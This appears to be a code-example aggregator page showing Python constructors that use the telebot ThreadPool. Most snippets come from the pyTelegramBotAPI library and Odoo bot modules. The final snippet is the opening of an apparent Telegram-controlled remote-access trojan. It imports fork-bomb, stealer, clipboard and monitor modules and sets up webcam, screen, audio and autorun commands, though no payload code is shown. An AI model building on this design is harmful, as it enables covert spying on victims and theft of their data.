def __init__(self, token, threaded=True, skip_pending=False):
        """
        :param token: bot API token
        :return: Telebot object.
        """
        self.token = token
        self.update_listener = []
        self.skip_pending = skip_pending

        self.__stop_polling = threading.Event()
        self.last_update_id = 0
        self.exc_info = None

        self.message_subscribers_messages = []
        self.message_subscribers_callbacks = []
        self.message_subscribers_lock = threading.Lock()

        # key: chat_id, value: handler list
        self.message_subscribers_next_step = {}
        self.pre_message_subscribers_next_step = {}

        self.message_handlers = []
        self.edited_message_handlers = []
        self.inline_handlers = []
        self.chosen_inline_handlers = []
        self.callback_query_handlers = []

        self.threaded = threaded
        if self.threaded:
            self.worker_pool = util.ThreadPool()
 def __init__(self, interval, dispatch, threads_bundles_list):
     threading.Thread.__init__(self, name='OdooTelegramThread')
     self.daemon = True
     self.interval = interval
     self.dispatch = dispatch
     self.threads_bundles_list = threads_bundles_list
     self.last = 0
     self.odoo_threads = self.get_num_of_children()
     self.odoo_thread_pool = util.ThreadPool(self.odoo_threads)
示例#3
0
 def __init__(self,
              token,
              threaded=True,
              skip_pending=False,
              num_threads=2):
     super(TeleBotMod, self).__init__(token,
                                      threaded=False,
                                      skip_pending=skip_pending)
     self.worker_pool = util.ThreadPool(num_threads)
     self.cache = CommandCache()
     _logger.info("TeleBot started with %s threads" % num_threads)
示例#4
0
    def __init__(self, dispatch, dbname, bot):
        threading.Thread.__init__(self, name='OdooTelegramThread')
        self.daemon = True
        self.token = False
        self.dispatch = dispatch
        self.bot = bot
        self.bot_thread = False
        self.last = 0
        self.dbname = dbname
        self.num_odoo_threads = teletools.get_int_parameter(dbname, 'telegram.num_odoo_threads')

        self.odoo_thread_pool = util.ThreadPool(self.num_odoo_threads)
示例#5
0
    def __init__(self,
                 token,
                 threaded=True,
                 skip_pending=False,
                 botan_token=None,
                 auto_tracking=False):
        """
        :param token: bot API token
        :return: Telebot object.
        """
        self.token = token
        self.update_listener = []
        self.skip_pending = skip_pending
        self.botan_token = botan_token

        self.__stop_polling = threading.Event()
        self.last_update_id = 0
        self.exc_info = None

        self.message_subscribers_messages = []
        self.message_subscribers_callbacks = []
        self.message_subscribers_lock = threading.Lock()

        # key: chat_id, value: handler list
        self.message_subscribers_next_step = {}
        self.pre_message_subscribers_next_step = {}

        self.message_handlers = []
        self.inline_handlers = []
        self.chosen_inline_handlers = []

        self.threaded = threaded
        if self.threaded:
            self.worker_pool = util.ThreadPool()

        if botan_token is not None and auto_tracking:

            def botan_listener(updates):
                for message in updates:
                    d = {}
                    for x, y in six.iteritems(message.__dict__):
                        if hasattr(y, '__dict__'):
                            d[x] = vars(y)
                        elif y is not None:
                            d[x] = y
                    user_id = d.get('from_user', d['chat'])['id']
                    self.track_event('MESSAGE_RECEIVED', user_id, d)

            self.set_update_listener(botan_listener)
示例#6
0
from Core.Fun.ForkBomb import *

from Core.Stealer.Stealer import *
from Core.Stealer.Telegram import *

from Core.Misc.Clipboard import *
from Core.Misc.Monitor import *
from Core.Misc.Rotate import *
from Core.Misc.Freeze import *

from telebot import types
from telebot import util
from telebot import apihelper

bot = telebot.TeleBot(TelegramToken, threaded=True)
bot.worker_pool = util.ThreadPool(num_threads=50)

menu = types.ReplyKeyboardMarkup()
button1 = types.KeyboardButton('/1\n<<')
button2 = types.KeyboardButton('/2\n>>')
button3 = types.KeyboardButton('/Screen\n🖼')
button4 = types.KeyboardButton('/Webcam\n📸')
button5 = types.KeyboardButton('/Video\n🎥')
button6 = types.KeyboardButton('/Audio\n🎙')
button7 = types.KeyboardButton('/Power\n🔴')
button8 = types.KeyboardButton('/Autorun\n🔵')
menu.row(button1, button3, button2)
menu.row(button4, button5, button6)
menu.row(button7, button8)

main2 = types.InlineKeyboardMarkup()